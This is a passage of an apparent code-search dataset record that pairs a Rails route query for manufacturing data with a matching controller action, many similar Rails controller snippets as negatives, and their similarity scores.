"def item_with_identifier(identifier)\n @items.find { |i| i.identifier == identifier }\n end",
"def item_for _ph\n @items.select {|i| i.placeholder == _ph }.first\n rescue\n nil\n end",
"def item_by_persistent_id\n IITSource.new(@ole.ItemByPersistentID)\n end",
"def get_item(course_id, item_id)\r\n relative_url = PATH_COURSES_ITEMS_ % [course_id, item_id]\r\n get(relative_url)\r\n end",
"def item_show\n @item = Item.find(params[:id])\n end",
"def get_record(item, **opt)\n find_by(**id_term(item, **opt))\n end",
"def find_one_by(opts = {})\n list_all_products(opts)[0]\n end",
"def item; @data && index >= 0 ? @data[index] : nil; end",
"def fox_item\n @item\n end",
"def find_single_item(hash,lookup)\n if hash[lookup]==nil\n return nil\n else\n return hash[lookup][:item]\n end\nend"
] |
[
"0.807031",
"0.8000251",
"0.77138287",
"0.7709345",
"0.7590318",
"0.7431052",
"0.7431052",
"0.7380822",
"0.73661894",
"0.7305587",
"0.7283863",
"0.72504276",
"0.7243551",
"0.7192222",
"0.7173931",
"0.7156628",
"0.71257156",
"0.706315",
"0.70436156",
"0.7021621",
"0.69864976",
"0.6974762",
"0.6970672",
"0.6970672",
"0.6970519",
"0.6970519",
"0.6970519",
"0.6933516",
"0.6927347",
"0.6917329",
"0.691385",
"0.691385",
"0.6904983",
"0.6839059",
"0.68353045",
"0.6834047",
"0.6829249",
"0.68287635",
"0.6810117",
"0.6799635",
"0.6762459",
"0.6748497",
"0.67150116",
"0.66988957",
"0.66921556",
"0.668904",
"0.66497815",
"0.66391003",
"0.65966463",
"0.6563622",
"0.6559897",
"0.6545936",
"0.65413797",
"0.6536961",
"0.6526155",
"0.65251094",
"0.65251094",
"0.65251094",
"0.65251094",
"0.65251094",
"0.65251094",
"0.65251094",
"0.6515444",
"0.65153027",
"0.6500665",
"0.6496492",
"0.6488556",
"0.6488343",
"0.647117",
"0.6462007",
"0.6456388",
"0.64499944",
"0.64441454",
"0.6438876",
"0.64300555",
"0.6427092",
"0.6418399",
"0.6412465",
"0.64086694",
"0.6404555",
"0.63923067",
"0.63855296",
"0.63718235",
"0.6367105",
"0.63621944",
"0.6357399",
"0.63555723",
"0.6351292",
"0.6348694",
"0.63451946",
"0.63451946",
"0.6338574",
"0.63331497",
"0.632029",
"0.6319346",
"0.6312611",
"0.6306488",
"0.62840915",
"0.6283018",
"0.62766165",
"0.6273391"
] |
0.0
|
-1
|
GET /mt_manufacturings/1 GET /mt_manufacturings/1.xml
|
def show
@mt_product = MtProduct.find(params[:id])
@product = @mt_product.product
add_breadcrumb _("My products").html_safe, :products_url
add_breadcrumb @mt_product.product.name, edit_product_url(@product)
add_breadcrumb _("Environmental Assessment").html_safe, mt_production_init_path(@mt_product)
add_breadcrumb _("Data entry").html_safe, mt_manufacturing_url(@mt_product)
if @mt_product
@step = 2
if !@mt_product.mt_manufacturing
mt_manufacturing = MtManufacturing.new
mt_manufacturing.mt_product_id = @mt_product.id
mt_manufacturing.save
@mt_product.mt_manufacturing = mt_manufacturing
end
@mt_manufacturing = @mt_product.mt_manufacturing
@mt_energy_families = MtEnergyFamily.all
@mt_families = MtFamily.all
@mt_consumables = MtConsumable.all
@mt_manufacturing_processes = MtManufacturingProcess.all
@mt_energy_datas = @mt_product.mt_energy_datas
@mt_overhead_energy_datas = @mt_product.mt_overhead_energy_datas
@mt_waste_energy_datas = @mt_product.mt_waste_energy_datas
@mt_manufacturing_resource_datas = @mt_product.mt_manufacturing_resource_datas
@mt_manufacturing_main_datas = @mt_product.mt_manufacturing_main_datas
@product_weight = 0
if @mt_product.mt_assessment
@product_weight = @mt_product.mt_assessment.weight
end
@detailed = false
if @mt_product.mt_assessment && @mt_product.mt_assessment.assessment_type == 'detailed'
@detailed = true
end
if @detailed
@mt_families = Array.new
MtFamily.all.each do |mt_family|
if mt_family.name != 'Electronics' && mt_family.name != 'Other' && mt_family.name != 'Supplier parts'
@mt_families << mt_family
end
end
end
respond_to do |format|
format.html # show.html.erb
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @mt_manufacturing = MtManufacturing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_manufacturing }\n end\n end",
"def show\n @manufacturer_line = ManufacturerLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end",
"def show\n @mt_distribution_packaging_data = MtDistributionPackagingData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_distribution_packaging_data }\n end\n end",
"def show\n @gemm = Gemm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gemm }\n end\n end",
"def index\n @manufacturer_partners = ManufacturerPartner.all.order(:name)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @manufacturer_partners }\n format.json { render json: @manufacturer_partners }\n end\n end",
"def show\n @manufacturer_synonym = ManufacturerSynonym.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @manufacturer_synonym }\n end\n end",
"def show\n @mt_use_machine_subsystem_data = MtUseMachineSubsystemData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_use_machine_subsystem_data }\n end\n end",
"def create\n @mt_manufacturing = MtManufacturing.new(params[:mt_manufacturing])\n\n respond_to do |format|\n if @mt_manufacturing.save\n format.html { redirect_to(@mt_manufacturing, :notice => 'Mt manufacturing was successfully created.') }\n format.xml { render :xml => @mt_manufacturing, :status => :created, :location => @mt_manufacturing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_manufacturing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @machine_mileage = MachineMileage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine_mileage }\n end\n end",
"def show\n @mt_energy_data = MtEnergyData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_energy_data }\n end\n end",
"def show\n @mt_material_data = MtMaterialData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_material_data }\n end\n end",
"def destroy\n @mt_manufacturing = MtManufacturing.find(params[:id])\n @mt_manufacturing.destroy\n\n respond_to do |format|\n format.html { redirect_to(mt_manufacturings_url) }\n format.xml { head :ok }\n end\n end",
"def show_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @manufacturer_line = ManufacturerLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end",
"def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @systems }\n end\n end",
"def set_manufacturing\n @manufacturing = Manufacturing.find(params[:id])\n \n end",
"def show\n @manufacturer = Manufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manufacturer }\n end\n end",
"def show\n @manufacturer = Manufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manufacturer }\n end\n end",
"def index\n @computer_allocations = ComputerAllocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @computer_allocations }\n end\n end",
"def show\n @mt_use_additional_energy_data = MtUseAdditionalEnergyData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_use_additional_energy_data }\n end\n end",
"def show\n @mt_distribution_transport_data = MtDistributionTransportData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_distribution_transport_data }\n end\n end",
"def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @product_software }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def show\n @virtualmachines = Virtualmachine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @virtualmachines }\n end\n end",
"def index\n @materials = Material.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @materials }\n end\n end",
"def show\n @mt_overhead_energy_data = MtOverheadEnergyData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_overhead_energy_data }\n end\n end",
"def show\n @mt_supplier_part_data = MtSupplierPartData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_supplier_part_data }\n end\n end",
"def show\n @mt_supplier_data = MtSupplierData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_supplier_data }\n end\n end",
"def index\n @operating_systems = OperatingSystem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @operating_systems }\n end\n end",
"def manufacture\n fetch('vehicle.manufacture')\n end",
"def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @brand }\n end\n end",
"def show\n @machine_price = MachinePrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine_price }\n end\n end",
"def show\n @software = Software.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def show\n @software = Software.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @mt_distribution_packaging_data = MtDistributionPackagingData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution_packaging_data }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def index\n @medicamentos = Medicamento.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @medicamentos }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def show\n @ms_offgrade = MsOffgrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ms_offgrade }\n end\n end",
"def show\n @mall = Mall.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mall }\n end\n end",
"def show\n @st_packaging_data = StPackagingData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_packaging_data }\n end\n end",
"def show\n @management_info_system_report = ManagementInfoSystemReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @management_info_system_report }\n end\n end",
"def show\n @materium = Materium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @materium }\n end\n end",
"def new\n @casting = Casting.new\n @manufacturers = Manufacturer.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @casting }\n end\n end",
"def show\n @operating_system = OperatingSystem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operating_system }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @marital_status }\n end\n end",
"def show\n @lookup_hardware = LookupHardware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_hardware }\n end\n end",
"def new\n @gemm = Gemm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gemm }\n end\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def show\n @mortgage = Mortgage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mortgage }\n end\n end",
"def new\n @mt_distribution = MtDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution }\n end\n end",
"def show\n @drum_machine = DrumMachine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @drum_machine }\n end\n end",
"def show\n @machine_information = MachineInformation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine_information }\n end\n end",
"def show\n @eversion = Magazine.find(params[:magazine_id]).eversion\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @eversion }\n end\n end",
"def index\n @product_sets = ProductSet.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_sets }\n end\n end",
"def index\n @magazines = Magazine.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @magazines }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def show\n @man = Man.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @man }\n end\n end",
"def new\n @manufacturer_synonym = ManufacturerSynonym.new(:manufacturer_id => params[:manufacturer_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_synonym }\n end\n end",
"def show\n @st_material_data = StMaterialData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_material_data }\n end\n end",
"def show\n @services_charger = ServicesCharger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @services_charger }\n end\n end",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @system }\n end\n end",
"def show\n\t@storecunsumption = Storecunsumption.find(params[:id])\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @storecunsumptions }\t\t#Render to XML File\n\t\tend\n\tend",
"def show\n @medicamento = Medicamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @medicamento }\n end\n end",
"def show\n @specification = Specification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @specification }\n end\n end",
"def show\n @appliance_manufacturer = ApplianceManufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appliance_manufacturer }\n end\n end",
"def index\n @phone_models = PhoneModel.accessible_by( current_ability, :index ).order(:manufacturer_id, :name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @phone_models }\n end\n end",
"def show\n @manufacture_order = ManufactureOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @manufacture_order }\n end\n end",
"def show\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def show\n @marmita = Marmita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @marmita }\n end\n end",
"def show\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end",
"def show\n @mileage = Mileage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mileage }\n end\n end",
"def show\n @machine = Machine.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine }\n format.atom\n end\n end",
"def show\n @manufacturer_partner = ManufacturerPartner.find(params[:id])\n @logos = SiteElement.where(\"name LIKE '%logo_inconcert_%'\").order(:name)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @manufacturer_partner }\n format.json { render json: @manufacturer_partner }\n end\n end",
"def show\n @packaging_distribution = PackagingDistribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @packaging_distribution }\n end\n end",
"def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end",
"def index\n @meant_it_rels = MeantItRel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meant_it_rels }\n end\n end",
"def show\n @machine_engine_size = MachineEngineSize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine_engine_size }\n end\n end",
"def show\n @ministry = Ministry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ministry }\n end\n end",
"def show\n @consumption_use = ConsumptionUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @consumption_use }\n end\n end",
"def show\n @material_item = MaterialItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material_item }\n end\n end",
"def show\n @simthing = Simthing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @simthing }\n end\n end",
"def list\n\t@storecunsumptions = Storecunsumption.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @storecunsumptions }\t\t#Render to XML File\n\t\tend\n\tend",
"def index\n @med_insts = MedInst.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @med_insts }\n end\n end",
"def index\n @q = DeviceManufacturer.search(params[:q])\n @device_manufacturers = @q.result(distinct: true).page(params[:page])\n\n respond_with(@device_manufacturers)\n end",
"def index\n @simthings = Simthing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @simthings }\n end\n end",
"def index\n @brand_specification_for_comparisons = website.brand.specification_for_comparisons\n @brand_specification_for_comparison = BrandSpecificationForComparison.new\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @brand_specification_for_comparisons }\n end\n end",
"def new\n @mt_use_machine_subsystem_data = MtUseMachineSubsystemData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_use_machine_subsystem_data }\n end\n end",
"def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { \n @brands = Brand.all\n render xml: @brands \n }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @remuneration_type }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def index\n @page_title = \"Power Units\"\n @power_units = PowerUnit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @power_units }\n end\n end",
"def show\n @promos = Promos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @promos }\n end\n end",
"def show\n @product_set = ProductSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_set }\n end\n end",
"def show\n @mailee_list = Mailee::List.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mailee_list }\n end\n end",
"def index\n @devices = Device.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @devices }\n end\n end",
"def index_rest\n @entry_items = EntryItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entry_items }\n end\n end",
"def show\n @machine_status = MachineStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @machine_status }\n end\n end",
"def index\n @product_families = ProductFamily.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_families }\n end\n end",
"def index\n @travel_claim_mileage_rates = TravelClaimMileageRate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @travel_claim_mileage_rates }\n end\n end"
] |
[
"0.68529755",
"0.62235135",
"0.62174946",
"0.61933935",
"0.6171388",
"0.6088808",
"0.60660595",
"0.59791726",
"0.59476775",
"0.5927604",
"0.5915659",
"0.5890816",
"0.58623147",
"0.58226407",
"0.5819429",
"0.5814041",
"0.57995105",
"0.57995105",
"0.57923806",
"0.5784295",
"0.5781843",
"0.577271",
"0.57696235",
"0.5760274",
"0.5758587",
"0.57584876",
"0.57278615",
"0.57239735",
"0.5720228",
"0.57111436",
"0.5710279",
"0.5706755",
"0.57045746",
"0.57045746",
"0.56816214",
"0.5677291",
"0.5677118",
"0.5676705",
"0.56740636",
"0.56733596",
"0.5665002",
"0.56550574",
"0.56548053",
"0.56480324",
"0.5646874",
"0.56444174",
"0.56441975",
"0.563656",
"0.5636134",
"0.56218547",
"0.5620392",
"0.5615346",
"0.5609307",
"0.5605724",
"0.56024796",
"0.55903685",
"0.5586693",
"0.5584125",
"0.55819756",
"0.5579697",
"0.55783665",
"0.5576399",
"0.55703276",
"0.5568689",
"0.5565933",
"0.556185",
"0.5556353",
"0.5554896",
"0.55539274",
"0.5552295",
"0.55511725",
"0.5547888",
"0.5544472",
"0.55434984",
"0.55418015",
"0.5541143",
"0.55408317",
"0.5540709",
"0.5539544",
"0.5536095",
"0.552979",
"0.55283403",
"0.552645",
"0.55258435",
"0.55240494",
"0.55216235",
"0.5521621",
"0.5514227",
"0.5512337",
"0.550795",
"0.55056226",
"0.5501533",
"0.55007374",
"0.5494693",
"0.54942644",
"0.5487437",
"0.5477956",
"0.54766846",
"0.547585",
"0.5473804",
"0.54732317"
] |
0.0
|
-1
|
GET /mt_manufacturings/new GET /mt_manufacturings/new.xml
|
def new
@mt_manufacturing = MtManufacturing.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @mt_manufacturing }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @mt_manufacturing = MtManufacturing.new(params[:mt_manufacturing])\n\n respond_to do |format|\n if @mt_manufacturing.save\n format.html { redirect_to(@mt_manufacturing, :notice => 'Mt manufacturing was successfully created.') }\n format.xml { render :xml => @mt_manufacturing, :status => :created, :location => @mt_manufacturing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_manufacturing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def new\n @gemm = Gemm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gemm }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @brand }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @distributor_brand }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @mt_distribution_packaging_data = MtDistributionPackagingData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution_packaging_data }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_software }\n end\n end",
"def new\n @mt_distribution = MtDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution }\n end\n end",
"def new\n @specification = Specification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specification }\n end\n end",
"def new\n @manufacturer_line = ManufacturerLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @production = Production.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @production }\n end\n end",
"def new\n @casting = Casting.new\n @manufacturers = Manufacturer.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @casting }\n end\n end",
"def new\n @machine = Machine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine }\n end\n end",
"def new\n @st_packaging_data = StPackagingData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_packaging_data }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @man = Man.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @man }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @operating_system = OperatingSystem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operating_system }\n end\n end",
"def new\n @mall = Mall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mall }\n end\n end",
"def new\n @ministry = Ministry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ministry }\n end\n end",
"def new\n @simthing = Simthing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simthing }\n end\n end",
"def new\n @machine = Machine.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def new\n @manufacturer_synonym = ManufacturerSynonym.new(:manufacturer_id => params[:manufacturer_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_synonym }\n end\n end",
"def new\n @promos = Promos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @promos }\n end\n end",
"def new\n @slittingproduction = Slittingproduction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slittingproduction }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @title = \"New Artefact\"\n @artefact = Artefact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artefact }\n end\n end",
"def new\n @machine_information = MachineInformation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_information }\n end\n end",
"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @manufacturer = Manufacturer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manufacturer }\n end\n end",
"def new\n @machine_price = MachinePrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_price }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @machine_mileage = MachineMileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_mileage }\n end\n end",
"def new\n @transmission = Transmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transmission }\n end\n end",
"def new\n @virtualmachines = Virtualmachine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @virtualmachines }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n @boot = Boot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boot }\n end\n end",
"def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brand }\n end\n end",
"def new\n @building = Building.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_cabinet }\n end\n end",
"def new\n @packaging_distribution = PackagingDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @packaging_distribution }\n end\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def new\n @lookup_hardware = LookupHardware.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_hardware }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"def new\n @viewing = Viewing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product }\n end\n end",
"def new\n @packageinfo = Packageinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @packageinfo }\n end\n end",
